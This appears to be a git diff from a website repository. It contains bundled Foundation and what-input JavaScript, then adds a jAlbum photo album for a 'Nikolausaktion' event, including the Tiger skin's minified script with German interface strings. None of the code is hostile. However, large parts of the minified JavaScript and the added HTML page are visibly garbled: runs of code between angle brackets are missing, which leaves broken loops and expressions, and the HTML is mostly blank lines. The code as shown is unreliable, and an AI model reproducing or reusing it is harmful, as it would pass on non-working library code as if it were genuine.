@module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n + + + + + + + + + +
    + + +
    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Richen/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Richen/album/lifeboat.zip new file mode 100644 index 00000000..fdce9ae8 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Richen/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Richen/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Richen/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Richen/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel 